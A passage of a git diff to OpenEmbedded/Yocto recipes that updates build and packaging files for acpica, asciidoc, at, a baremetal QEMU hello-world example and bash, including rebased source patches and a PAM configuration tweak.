- install -D -p -m0755 generate/unix/bin*/acpibin ${D}${bindir}/acpibin
- install -D -p -m0755 generate/unix/bin*/acpiexec ${D}${bindir}/acpiexec
- install -D -p -m0755 generate/unix/bin*/acpihelp ${D}${bindir}/acpihelp
- install -D -p -m0755 generate/unix/bin*/acpinames ${D}${bindir}/acpinames
- install -D -p -m0755 generate/unix/bin*/acpisrc ${D}${bindir}/acpisrc
- install -D -p -m0755 generate/unix/bin*/acpixtract ${D}${bindir}/acpixtract
-}
-
-# iasl*.bb is a subset of this recipe, so RREPLACE it
-PROVIDES = "iasl"
-RPROVIDES_${PN} += "iasl"
-RREPLACES_${PN} += "iasl"
-RCONFLIGHTS_${PN} += "iasl"
-
-NATIVE_INSTALL_WORKS = "1"
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/acpica/acpica_20240322.bb b/meta/recipes-extended/acpica/acpica_20240322.bb
new file mode 100644
index 0000000000..90e3599d32
--- /dev/null
+++ b/meta/recipes-extended/acpica/acpica_20240322.bb
@@ -0,0 +1,49 @@
+SUMMARY = "ACPICA tools for the development and debug of ACPI tables"
+DESCRIPTION = "The ACPI Component Architecture (ACPICA) project provides an \
+OS-independent reference implementation of the Advanced Configuration and \
+Power Interface Specification (ACPI). ACPICA code contains those portions of \
+ACPI meant to be directly integrated into the host OS as a kernel-resident \
+subsystem, and a small set of tools to assist in developing and debugging \
+ACPI tables."
+
+HOMEPAGE = "https://www.intel.com/content/www/us/en/developer/topic-technology/open/acpica/overview.html"
+SECTION = "console/tools"
+
+LICENSE = "Intel | BSD-3-Clause | GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://source/compiler/aslcompile.c;beginline=7;endline=150;md5=05eb845b15a27440410f456adc2ed082"
+
+COMPATIBLE_HOST = "(i.86|x86_64|arm|aarch64).*-linux"
+
+DEPENDS = "m4-native flex-native bison-native"
+
+SRC_URI = "git://github.com/acpica/acpica;protocol=https;branch=master"
+SRCREV = "170fc3076a86777077637f10b05c32ac21ac13aa"
+
+S = "${WORKDIR}/git"
+
+inherit update-alternatives
+
+ALTERNATIVE_PRIORITY = "100"
+ALTERNATIVE:${PN} = "acpixtract acpidump"
+
+EXTRA_OEMAKE = "CC='${CC}' \
+ OPT_CFLAGS=-Wall \
+ DESTDIR=${D} \
+ PREFIX=${prefix} \
+ INSTALLDIR=${bindir} \
+ INSTALLFLAGS= \
+ YACC=bison \
+ YFLAGS='-y --file-prefix-map=${WORKDIR}=${TARGET_DBGSRC_DIR}' \
+ "
+
+do_install() {
+ oe_runmake install
+}
+
+# iasl*.bb is a subset of this recipe, so RREPLACE it
+PROVIDES = "iasl"
+RPROVIDES:${PN} += "iasl"
+RREPLACES:${PN} += "iasl"
+RCONFLICTS:${PN} += "iasl"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/acpica/files/manipulate-fds-instead-of-FILE.patch b/meta/recipes-extended/acpica/files/manipulate-fds-instead-of-FILE.patch
deleted file mode 100644
index 5610ed9beb..0000000000
--- a/meta/recipes-extended/acpica/files/manipulate-fds-instead-of-FILE.patch
+++ /dev/null
@@ -1,72 +0,0 @@
-From 69171c22f3872ecb4c1ab27985e93ca44084595e Mon Sep 17 00:00:00 2001
-From: Fan Xin <fan.xin@jp.fujitsu.com>
-Date: Mon, 5 Jun 2017 13:26:38 +0900
-Subject: [PATCH] aslfiles.c: manipulate fds instead of FILE
-
-Copying what stdout/stderr point to is not portable and fails with
-musl because FILE is an undefined struct.
-
-Instead, use lower-level Unix functions to modify the file that stderr
-writes into. This works on the platforms that Yocto targets.
-
-Upstream-Status: Inappropriate [embedded specific]
-
-Signed-off-by: Patrick Ohly <patrick.ohly@intel.com>
-
-Rebase on acpica 20170303
-
-Signed-off-by: Fan Xin <fan.xin@jp.fujitsu.com>
----
- acpica-unix2-20170303/source/compiler/aslfiles.c | 14 +++++++++++---
- 1 file changed, 11 insertions(+), 3 deletions(-)
-
-diff --git a/acpica-unix2-20170303/source/compiler/aslfiles.c b/acpica-unix2-20170303/source/compiler/aslfiles.c
-index 809090c..97898b1 100644
---- a/acpica-unix2-20170303/source/compiler/aslfiles.c
-+++ b/acpica-unix2-20170303/source/compiler/aslfiles.c
-@@ -44,6 +44,10 @@
- #include "aslcompiler.h"
- #include "acapps.h"
- #include "dtcompiler.h"
-+#include <sys/types.h>
-+#include <sys/stat.h>
-+#include <fcntl.h>
-+#include <unistd.h>
-
- #define _COMPONENT ACPI_COMPILER
- ACPI_MODULE_NAME ("aslfiles")
-@@ -607,6 +611,8 @@ FlOpenMiscOutputFiles (
-
- if (Gbl_DebugFlag)
- {
-+ int fd;
-+
- Filename = FlGenerateFilename (FilenamePrefix, FILE_SUFFIX_DEBUG);
- if (!Filename)
- {
-@@ -618,10 +624,10 @@ FlOpenMiscOutputFiles (
- /* Open the debug file as STDERR, text mode */
-
- Gbl_Files[ASL_FILE_DEBUG_OUTPUT].Filename = Filename;
-- Gbl_Files[ASL_FILE_DEBUG_OUTPUT].Handle =
-- freopen (Filename, "w+t", stderr);
-
-- if (!Gbl_Files[ASL_FILE_DEBUG_OUTPUT].Handle)
-+ fd = open(Filename, O_CREAT|O_TRUNC, S_IRUSR|S_IWUSR|S_IRGRP|S_IWGRP|S_IROTH|S_IWOTH);
-+ if (fd < 0 ||
-+ dup2(fd, fileno(stderr)))
- {
- /*
- * A problem with freopen is that on error, we no longer
-@@ -635,6 +641,8 @@ FlOpenMiscOutputFiles (
- exit (1);
- }
-
-+ Gbl_Files[ASL_FILE_DEBUG_OUTPUT].Handle = stderr;
-+
- AslCompilerSignon (ASL_FILE_DEBUG_OUTPUT);
- AslCompilerFileHeader (ASL_FILE_DEBUG_OUTPUT);
- }
---
-1.9.1
-
diff --git a/meta/recipes-extended/acpica/files/no-werror.patch b/meta/recipes-extended/acpica/files/no-werror.patch
deleted file mode 100644
index a6e7b540a1..0000000000
--- a/meta/recipes-extended/acpica/files/no-werror.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-Description: remove -Werror flag
-Forwarded: not-needed
-Author: Fathi Boudra <fathi.boudra@linaro.org>
-Upstream-Status: Pending
----
- generate/unix/iasl/Makefile | 12 ++++++------
- 1 file changed, 6 insertions(+), 6 deletions(-)
-
---- a/generate/unix/iasl/Makefile
-+++ b/generate/unix/iasl/Makefile
-@@ -266,19 +266,19 @@ $(OBJDIR)/prparser.y.h: $(OBJDIR)/prpars
- # by the utilities above and they are not necessarily ANSI C, etc.
- #
- $(OBJDIR)/aslcompilerlex.o : $(OBJDIR)/aslcompilerlex.c
-- $(CC) -c $(CFLAGS) -Wall -Werror -o$@ $<
-+ $(CC) -c $(CFLAGS) -Wall -o$@ $<
-
- $(OBJDIR)/aslcompilerparse.o : $(OBJDIR)/aslcompilerparse.c
-- $(CC) -c $(CFLAGS) -Wall -Werror -o$@ $<
-+ $(CC) -c $(CFLAGS) -Wall -o$@ $<
-
- $(OBJDIR)/dtparserlex.o : $(OBJDIR)/dtparserlex.c
-- $(CC) -c $(CFLAGS) -Wall -Werror -o$@ $<
-+ $(CC) -c $(CFLAGS) -Wall -o$@ $<
-
- $(OBJDIR)/dtparserparse.o : $(OBJDIR)/dtparserparse.c
-- $(CC) -c $(CFLAGS) -Wall -Werror -o$@ $<
-+ $(CC) -c $(CFLAGS) -Wall -o$@ $<
-
- $(OBJDIR)/prparserlex.o : $(OBJDIR)/prparserlex.c
-- $(CC) -c $(CFLAGS) -Wall -Werror -o$@ $<
-+ $(CC) -c $(CFLAGS) -Wall -o$@ $<
diff --git a/meta/recipes-extended/acpica/files/rename-yy_scan_string-manually.patch b/meta/recipes-extended/acpica/files/rename-yy_scan_string-manually.patch
deleted file mode 100644
index b62ca25ba2..0000000000
--- a/meta/recipes-extended/acpica/files/rename-yy_scan_string-manually.patch
+++ /dev/null
@@ -1,64 +0,0 @@
-From 2ab61e6ad5a9cfcde838379bc36babfaaa61afb8 Mon Sep 17 00:00:00 2001
-From: Patrick Ohly <patrick.ohly@intel.com>
-Date: Fri, 20 Jan 2017 13:50:17 +0100
-Subject: [PATCH] rename yy_scan_string manually
-
-flex 2.6.0 used to generate code where yy_scan_string was mapped
-to <custom prefix>_scan_string directly in the generated .c code.
-
-For example, generate/unix/iasl/obj/prparserlex.c:
-
-int
-PrInitLexer (
- char *String)
-{
-
- LexBuffer = PrParser_scan_string (String);
- return (LexBuffer == NULL);
-}
-
-flex 2.6.3 no longer does that, leading to a compiler warning
-and link error about yy_scan_string().
-
-Both versions generate a preamble in the beginning of prparserlex.c
-that maps several yy_* names, but yy_scan_string is not among those:
-
-...
-...
-
-Upstream-Status: Inappropriate [workaround for https://github.com/westes/flex/issues/164]
-Signed-off-by: Patrick Ohly <patrick.ohly@intel.com>
----
- source/compiler/dtparser.l | 2 +-
- source/compiler/prparser.l | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/source/compiler/dtparser.l b/source/compiler/dtparser.l
-index 3f4c2f3..eaa43ff 100644
---- a/source/compiler/dtparser.l
-+++ b/source/compiler/dtparser.l
-@@ -120,7 +120,7 @@ DtInitLexer (
- char *String)
- {
-
-- LexBuffer = yy_scan_string (String);
-+ LexBuffer = DtParser_scan_string (String);
- return (LexBuffer == NULL);
- }
-
-diff --git a/source/compiler/prparser.l b/source/compiler/prparser.l
-index 10bd130..9cb3573 100644
---- a/source/compiler/prparser.l
-+++ b/source/compiler/prparser.l
-@@ -127,7 +127,7 @@ PrInitLexer (
- char *String)
- {
-
-- LexBuffer = yy_scan_string (String);
-+ LexBuffer = PrParser_scan_string (String);
- return (LexBuffer == NULL);
- }
-
---
-2.11.0
-
diff --git a/meta/recipes-extended/asciidoc/asciidoc_10.2.0.bb b/meta/recipes-extended/asciidoc/asciidoc_10.2.0.bb
new file mode 100644
index 0000000000..e112eb513d
--- /dev/null
+++ b/meta/recipes-extended/asciidoc/asciidoc_10.2.0.bb
@@ -0,0 +1,28 @@
+SUMMARY = "Tool for creating HTML, PDF, EPUB, man pages"
+DESCRIPTION = "AsciiDoc is a text document format for writing short documents, \
+articles, books and UNIX man pages."
+
+HOMEPAGE = "http://asciidoc.org/"
+
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=aaee33adce0fc7cc40fee23f82f7f101 \
+ file://LICENSE;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ "
+
+SRC_URI = "git://github.com/asciidoc/asciidoc-py;protocol=https;branch=main"
+SRCREV = "545b79b8d7dae70d12bf0657359bdd36de0c5c26"
+
+DEPENDS = "libxml2-native libxslt-native docbook-xml-dtd4-native docbook-xsl-stylesheets-native"
+
+S = "${WORKDIR}/git"
+
+# Tell xmllint where to find the DocBook XML catalogue, because right now it
+# opens /etc/xml/catalog on the host. Depends on auto-catalogs.patch
+export SGML_CATALOG_FILES="file://${STAGING_ETCDIR_NATIVE}/xml/catalog"
+
+inherit setuptools3
+CLEANBROKEN = "1"
+
+BBCLASSEXTEND = "native nativesdk"
+
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+)+))$"
diff --git a/meta/recipes-extended/asciidoc/asciidoc_8.6.9.bb b/meta/recipes-extended/asciidoc/asciidoc_8.6.9.bb
deleted file mode 100644
index 38164d5573..0000000000
--- a/meta/recipes-extended/asciidoc/asciidoc_8.6.9.bb
+++ /dev/null
@@ -1,24 +0,0 @@
-SUMMARY = "Tool for creating HTML, PDF, EPUB, man pages"
-DESCRIPTION = "AsciiDoc is a text document format for writing short documents, \
-articles, books and UNIX man pages."
-
-HOMEPAGE = "http://asciidoc.org/"
-
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=8ca43cbc842c2336e835926c2166c28b \
- file://COPYRIGHT;md5=029ad5428ba5efa20176b396222d4069"
-
-SRC_URI = "http://downloads.sourceforge.net/project/${BPN}/${BPN}/${PV}/${BP}.tar.gz"
-SRC_URI[md5sum] = "c59018f105be8d022714b826b0be130a"
-SRC_URI[sha256sum] = "78db9d0567c8ab6570a6eff7ffdf84eadd91f2dfc0a92a2d0105d323cab4e1f0"
-
-UPSTREAM_CHECK_URI = "https://sourceforge.net/projects/asciidoc/files/"
-
-inherit autotools-brokensep
-
-export DESTDIR = "${D}"
-DEPENDS_class-native = "docbook-xml-dtd4-native"
-RDEPENDS_${PN} += "python"
-BBCLASSEXTEND = "native"
-
-CLEANBROKEN = "1"
diff --git a/meta/recipes-extended/at/at/0001-remove-glibc-assumption.patch b/meta/recipes-extended/at/at/0001-remove-glibc-assumption.patch
index 7fdecc7fd1..fd57f94cd5 100644
--- a/meta/recipes-extended/at/at/0001-remove-glibc-assumption.patch
+++ b/meta/recipes-extended/at/at/0001-remove-glibc-assumption.patch
@@ -18,21 +18,21 @@ Signed-off-by: Dengke Du <dengke.du@windriver.com>
parsetime.y | 11 +++++++----
1 file changed, 7 insertions(+), 4 deletions(-)
-diff --git a/parsetime.y b/parsetime.y
-index 7005e88..324e6d3 100644
---- a/parsetime.y
-+++ b/parsetime.y
-@@ -8,6 +8,9 @@
-
- #define YYDEBUG 1
+Index: at-3.2.1/parsetime.y
+===================================================================
+--- at-3.2.1.orig/parsetime.y
++++ at-3.2.1/parsetime.y
+@@ -14,6 +14,9 @@
+ ((y) % 4 == 0 && ((y) % 100 != 0 || (y) % 400 == 0))
+ #endif
+#define is_leap_year(y) \
+ ((y) % 4 == 0 && ((y) % 100 != 0 || (y) % 400 == 0))
+
struct tm exectm;
static int isgmt;
- static int yearspec;
-@@ -217,8 +220,8 @@ date : month_name day_number
+ static char *tz = NULL;
+@@ -230,8 +233,8 @@ date : month_name day_number
mnum == 12) && dnum > 31)
|| ((mnum == 4 || mnum == 6 || mnum == 9 ||
mnum == 11) && dnum > 30)
@@ -43,7 +43,7 @@ index 7005e88..324e6d3 100644
)
{
yyerror("Error in day of month");
-@@ -261,8 +264,8 @@ date : month_name day_number
+@@ -274,8 +277,8 @@ date : month_name day_number
mnum == 12) && dnum > 31)
|| ((mnum == 4 || mnum == 6 || mnum == 9 ||
mnum == 11) && dnum > 30)
@@ -54,6 +54,3 @@ index 7005e88..324e6d3 100644
)
{
yyerror("Error in day of month");
---
-2.8.1
-
diff --git a/meta/recipes-extended/at/at/file_replacement_with_gplv2.patch b/meta/recipes-extended/at/at/file_replacement_with_gplv2.patch
index d5ef0032be..11023bdf52 100644
--- a/meta/recipes-extended/at/at/file_replacement_with_gplv2.patch
+++ b/meta/recipes-extended/at/at/file_replacement_with_gplv2.patch
@@ -10,11 +10,11 @@ update the Copyright file information to reflect the replaced files.
Date: 2010/08/31
Nitin A Kamble nitin.a.kamble@intel.com
-Index: at-3.1.12/Copyright
+Index: at-3.2.1/Copyright
===================================================================
---- at-3.1.12.orig/Copyright
-+++ at-3.1.12/Copyright
-@@ -31,10 +31,10 @@ The files posixtm.c and posixtm.h have t
+--- at-3.2.1.orig/Copyright
++++ at-3.2.1/Copyright
+@@ -34,10 +34,10 @@ The files posixtm.c and posixtm.h have t
Copyright (C) 1989, 1990, 1991, 1998, 2000, 2001, 2002, 2003, 2004,
2005, 2006, 2007 Free Software Foundation Inc.
diff --git a/meta/recipes-extended/at/at/fix_parallel_build_error.patch b/meta/recipes-extended/at/at/fix_parallel_build_error.patch
deleted file mode 100644
index 100f8898e0..0000000000
--- a/meta/recipes-extended/at/at/fix_parallel_build_error.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-make -j was failing sometimesa like this
-| ccache i586-poky-linux-gcc -march=i586 --sysroot=/home/nitin/build/build0/tmp/sysroots/i586-poky-linux -I. -fexpensive-optimizations -fomit-frame-pointer -frename-registers -O2 -ggdb -feliminate-unused-debug-types -o atd atd.o daemon.o -lfl -lpam -Wl,-O1 -Wl,--as-needed
-| parsetime.l:5:19: fatal error: y.tab.h: No such file or directory
-| compilation terminated.
-| make: *** [lex.yy.o] Error 1
-| make: *** Waiting for unfinished jobs....
-
-Fixed the issue by adding a dependency in the makefile.
-Nitin <nitin.a.kamble@intel.com>
-2010/09/02
-
-Upstream-Status: Pending
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-
----
- Makefile.in | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/Makefile.in b/Makefile.in
-index dd3c2f8..7897e45 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -82,6 +82,8 @@ y.tab.c y.tab.h: parsetime.y
- lex.yy.c: parsetime.l
- $(LEX) -i parsetime.l
-
-+parsetime.l: y.tab.h
-+
- atd.service: atd.service.in
- sed -e 's![@]sbindir[@]!$(sbindir)!g' < $< > $@
-
---
-1.9.1
-
diff --git a/meta/recipes-extended/at/at/makefile-fix-parallel.patch b/meta/recipes-extended/at/at/makefile-fix-parallel.patch
index 932a4c0bfe..adb8652053 100644
--- a/meta/recipes-extended/at/at/makefile-fix-parallel.patch
+++ b/meta/recipes-extended/at/at/makefile-fix-parallel.patch
@@ -15,13 +15,13 @@ Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
Makefile | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
-diff --git a/Makefile.in b/Makefile.in
-index 2a9b918..aa7c04a 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -75,7 +75,9 @@ at: $(ATOBJECTS)
+Index: at-3.2.1/Makefile.in
+===================================================================
+--- at-3.2.1.orig/Makefile.in
++++ at-3.2.1/Makefile.in
+@@ -77,7 +77,9 @@ at: $(ATOBJECTS)
atd: $(RUNOBJECTS)
- $(CC) $(LDFLAGS) -o atd $(RUNOBJECTS) $(LIBS) $(PAMLIB)
+ $(CC) $(LDFLAGS) -o atd $(RUNOBJECTS) $(LIBS) $(PAMLIB) $(SELINUXLIB)
-y.tab.c y.tab.h: parsetime.y
+y.tab.h: y.tab.c
@@ -30,6 +30,3 @@ index 2a9b918..aa7c04a 100644
$(YACC) -d parsetime.y
lex.yy.c: parsetime.l
---
-1.7.9.5
-
diff --git a/meta/recipes-extended/at/at/pam.conf.patch b/meta/recipes-extended/at/at/pam.conf.patch
index b5ceb9ae82..38e7fc1b7d 100644
--- a/meta/recipes-extended/at/at/pam.conf.patch
+++ b/meta/recipes-extended/at/at/pam.conf.patch
@@ -1,27 +1,35 @@
+From 8c8a0b6ba199327d2eafefd6611353e1c483a854 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Wed, 5 Dec 2018 10:00:36 +0800
+Subject: [PATCH] fix pam.conf
+
oe doesn't support "@include", use the concrete directive instead.
Upstream-Status: Pending
Signed-off-by: Wenzong Fan <wenzong.fan@windriver.com>
-Index: at-3.1.15/pam.conf
-===================================================================
---- at-3.1.15.orig/pam.conf
-+++ at-3.1.15/pam.conf
-@@ -1,10 +1,11 @@
- #
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+---
+ pam.conf | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/pam.conf b/pam.conf
+index 3674c0a..2f8d586 100644
+--- a/pam.conf
++++ b/pam.conf
+@@ -2,9 +2,9 @@
# The PAM configuration file for the at daemon
#
-+
-+auth required pam_env.so
-+auth include common-auth
-+account include common-account
-+session include common-session-noninteractive
-+session required pam_limits.so
-+session required pam_loginuid.so
--auth required pam_env.so
-@include common-auth
-@include common-account
--session required pam_loginuid.so
++auth include common-auth
++account include common-account
+ session required pam_loginuid.so
-@include common-session-noninteractive
--session required pam_limits.so
++session include common-session-noninteractive
+ session required pam_limits.so
+ auth required pam_env.so user_readenv=1
+--
+2.7.4
+
diff --git a/meta/recipes-extended/at/at_3.1.20.bb b/meta/recipes-extended/at/at_3.2.5.bb
index 9b537eed5e..c0c876a644 100644
--- a/meta/recipes-extended/at/at_3.1.20.bb
+++ b/meta/recipes-extended/at/at_3.2.5.bb
@@ -3,38 +3,40 @@ HOMEPAGE = "http://blog.calhariz.com/"
DESCRIPTION = "At allows for commands to be run at a particular time. Batch will execute commands when \
the system load levels drop to a particular level."
SECTION = "base"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=4325afd396febcb659c36b49533135d4"
-DEPENDS = "flex flex-native \
+DEPENDS = "flex flex-native bison-native \
${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
-RDEPENDS_${PN} = "${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_DEPS}', '', d)} \
+PACKAGECONFIG ?= "\
+ ${@bb.utils.contains('DISTRO_FEATURES', 'selinux', 'selinux', '', d)} \
+"
+
+PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux,"
+
+RDEPENDS:${PN} = "${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_DEPS}', '', d)} \
"
PAM_DEPS = "libpam libpam-runtime pam-plugin-env pam-plugin-limits"
-RCONFLICTS_${PN} = "atd"
-RREPLACES_${PN} = "atd"
-
-SRC_URI = "http://snapshot.debian.org/archive/debian/20160728T043443Z/pool/main/a/${BPN}/${BPN}_${PV}.orig.tar.gz \
- file://fix_parallel_build_error.patch \
- file://posixtm.c \
- file://posixtm.h \
- file://file_replacement_with_gplv2.patch \
- file://atd.init \
- file://atd.service \
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)} \
- file://makefile-fix-parallel.patch \
- file://0001-remove-glibc-assumption.patch \
- "
+RCONFLICTS:${PN} = "atd"
+RREPLACES:${PN} = "atd"
+
+SRC_URI = "${DEBIAN_MIRROR}/main/a/at/${BPN}_${PV}.orig.tar.gz \
+ file://posixtm.c \
+ file://posixtm.h \
+ file://file_replacement_with_gplv2.patch \
+ file://atd.init \
+ file://atd.service \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)} \
+ file://makefile-fix-parallel.patch \
+ file://0001-remove-glibc-assumption.patch \
+ "
PAM_SRC_URI = "file://pam.conf.patch \
file://configure-add-enable-pam.patch"
-SRC_URI[md5sum] = "e7bd7b785b2cbb17e133d6bdc0fb099e"
-SRC_URI[sha256sum] = "0871923cab73050b98ace020664eb2ddc1e669e4166b5abb64d864d02fcefab9"
-
-UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/a/at/"
+SRC_URI[sha256sum] = "bb066b389d7c9bb9d84a35738032b85c30cba7d949f758192adc72c9477fd3b8"
EXTRA_OECONF += "ac_cv_path_SENDMAIL=/bin/true \
--with-daemon_username=root \
@@ -48,12 +50,13 @@ inherit autotools-brokensep systemd update-rc.d
INITSCRIPT_NAME = "atd"
INITSCRIPT_PARAMS = "defaults"
-SYSTEMD_SERVICE_${PN} = "atd.service"
+SYSTEMD_SERVICE:${PN} = "atd.service"
+
+do_patch[postfuncs] += "copy_posix_files"
-copy_sources() {
- cp -f ${WORKDIR}/posixtm.[ch] ${S}
+copy_posix_files() {
+ cp -f ${WORKDIR}/posixtm.[ch] ${S}
}
-do_patch[postfuncs] += "copy_sources"
do_install () {
oe_runmake -e "IROOT=${D}" install
@@ -62,11 +65,12 @@ do_install () {
install -m 0755 ${WORKDIR}/atd.init ${D}${sysconfdir}/init.d/atd
# install systemd unit files
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/atd.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@SBINDIR@,${sbindir},g' ${D}${systemd_unitdir}/system/atd.service
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/atd.service ${D}${systemd_system_unitdir}
+ sed -i -e 's,@SBINDIR@,${sbindir},g' ${D}${systemd_system_unitdir}/atd.service
if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
install -D -m 0644 ${WORKDIR}/${BP}/pam.conf ${D}${sysconfdir}/pam.d/atd
fi
+ rm -f ${D}${datadir}/at/batch-job
}
diff --git a/meta/recipes-extended/baremetal-example/baremetal-helloworld_git.bb b/meta/recipes-extended/baremetal-example/baremetal-helloworld_git.bb
new file mode 100644
index 0000000000..6832ccc541
--- /dev/null
+++ b/meta/recipes-extended/baremetal-example/baremetal-helloworld_git.bb
@@ -0,0 +1,72 @@
+SUMMARY = "Baremetal examples to work with the several QEMU architectures supported on OpenEmbedded"
+HOMEPAGE = "https://github.com/aehs29/baremetal-helloqemu"
+DESCRIPTION = "These are introductory examples to showcase the use of QEMU to run baremetal applications."
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=39346640a23c701e4f459e05f56f4449"
+
+SRCREV = "db2bf750eaef7fc0832e13ada8291343bbcc3afe"
+PV = "0.1+git"
+
+SRC_URI = "git://github.com/ahcbb6/baremetal-helloqemu.git;protocol=https;branch=master"
+UPSTREAM_VERSION_UNKNOWN="1"
+
+S = "${WORKDIR}/git"
+
+# The following variables should be set to accomodate each application
+BAREMETAL_BINNAME ?= "hello_baremetal_${MACHINE}"
+IMAGE_LINK_NAME ?= "baremetal-helloworld-image-${MACHINE}"
+IMAGE_NAME_SUFFIX ?= ""
+
+# Baremetal-Image creates the proper wiring, assumes the output is provided in
+# binary and ELF format, installed on ${base_libdir}/firmware/ , we want a
+# package to be created since we might have some way of updating the baremetal
+# firmware from Linux
+inherit baremetal-image
+
+
+# startup code for x86 uses NASM syntax
+DEPENDS:qemux86:append = " nasm-native"
+
+# These parameters are app specific for this example
+# This will be translated automatically to the architecture and
+# machine that QEMU uses on OE, e.g. -machine virt -cpu cortex-a57
+# but the examples can also be run on other architectures/machines
+# such as vexpress-a15 by overriding the setting on the machine.conf
+COMPATIBLE_MACHINE = "qemuarmv5|qemuarm|qemuarm64|qemuriscv64|qemuriscv32|qemux86|qemux86-64"
+
+BAREMETAL_QEMUARCH ?= ""
+BAREMETAL_QEMUARCH:qemuarmv5 = "versatile"
+BAREMETAL_QEMUARCH:qemuarm = "arm"
+BAREMETAL_QEMUARCH:qemuarm64 = "aarch64"
+BAREMETAL_QEMUARCH:qemuriscv64 = "riscv64"
+BAREMETAL_QEMUARCH:qemuriscv32 = "riscv32"
+BAREMETAL_QEMUARCH:qemux86 = "x86"
+BAREMETAL_QEMUARCH:qemux86-64 = "x86-64"
+
+EXTRA_OEMAKE:append = " QEMUARCH=${BAREMETAL_QEMUARCH} V=1"
+
+# qemux86-64 uses a different Makefile
+do_compile:prepend:qemux86-64(){
+ cd x86-64
+}
+
+# Install binaries on the proper location for baremetal-image to fetch and deploy
+do_install(){
+ install -d ${D}/${base_libdir}/firmware
+ install -m 755 ${B}/build/hello_baremetal_${BAREMETAL_QEMUARCH}.bin ${D}/${base_libdir}/firmware/${BAREMETAL_BINNAME}.bin
+ install -m 755 ${B}/build/hello_baremetal_${BAREMETAL_QEMUARCH}.elf ${D}/${base_libdir}/firmware/${BAREMETAL_BINNAME}.elf
+}
+
+FILES:${PN} += " \
+ ${base_libdir}/firmware/${BAREMETAL_BINNAME}.bin \
+ ${base_libdir}/firmware/${BAREMETAL_BINNAME}.elf \
+"
+
+# qemux86-64 boots from iso rather than -kernel, create image to boot from
+do_image:append:qemux86-64(){
+ dd if=/dev/zero of=${B}/build/img.iso bs=1M count=10 status=none
+ dd if=${B}/build/stage1.bin of=${B}/build/img.iso bs=512 count=1 conv=notrunc
+ dd if=${B}/build/stage2.bin of=${B}/build/img.iso bs=512 seek=1 count=64 conv=notrunc
+ dd if=${B}/build/hello_baremetal_x86-64.bin of=${B}/build/img.iso bs=512 seek=65 conv=notrunc
+ install ${B}/build/img.iso ${IMGDEPLOYDIR}/${IMAGE_LINK_NAME}.iso
+}
diff --git a/meta/recipes-extended/bash/bash.inc b/meta/recipes-extended/bash/bash.inc
index f4e1f7a11f..e541161c75 100644
--- a/meta/recipes-extended/bash/bash.inc
+++ b/meta/recipes-extended/bash/bash.inc
@@ -1,5 +1,6 @@
SUMMARY = "An sh-compatible command language interpreter"
HOMEPAGE = "http://tiswww.case.edu/php/chet/bash/bashtop.html"
+DESCRIPTION = "Bash is the GNU Project's Bourne Again SHell, a complete implementation of the IEEE POSIX and Open Group shell specification with interactive command line editing, job control on architectures that support it, csh-like features such as history substitution and brace expansion, and a slew of other features."
SECTION = "base/shell"
DEPENDS = "ncurses bison-native virtual/libiconv"
@@ -7,50 +8,74 @@ DEPENDS = "ncurses bison-native virtual/libiconv"
inherit autotools gettext texinfo update-alternatives ptest
EXTRA_AUTORECONF += "--exclude=autoheader"
-EXTRA_OECONF = "--enable-job-control --without-bash-malloc"
+EXTRA_OECONF = "--enable-job-control --without-bash-malloc bash_cv_wexitstatus_offset=8"
# If NON_INTERACTIVE_LOGIN_SHELLS is defined, all login shells read the
# startup files, even if they are not interactive.
# This is what other major distros do. And this is what we wanted. See bug#5359 and bug#7137.
CFLAGS += "-DNON_INTERACTIVE_LOGIN_SHELLS"
-ALTERNATIVE_${PN} = "bash sh"
+# This can vary depending upon the host
+CFLAGS += "-DHEREDOC_PIPESIZE=65536"
+
+# Disable bracketed paste mode by default (enabled by default in bash 5.1). It
+# causes a lot of garbage in non-interactive shells
+CFLAGS += "-DBRACKETED_PASTE_DEFAULT=0"
+
+ALTERNATIVE:${PN} = "bash sh"
ALTERNATIVE_LINK_NAME[bash] = "${base_bindir}/bash"
ALTERNATIVE_TARGET[bash] = "${base_bindir}/bash"
ALTERNATIVE_LINK_NAME[sh] = "${base_bindir}/sh"
ALTERNATIVE_TARGET[sh] = "${base_bindir}/bash.${BPN}"
ALTERNATIVE_PRIORITY = "100"
-RDEPENDS_${PN} += "base-files"
-RDEPENDS_${PN}_class-nativesdk = ""
-RDEPENDS_${PN}-ptest += "make"
-
-DEPENDS_append_libc-glibc = " glibc-locale"
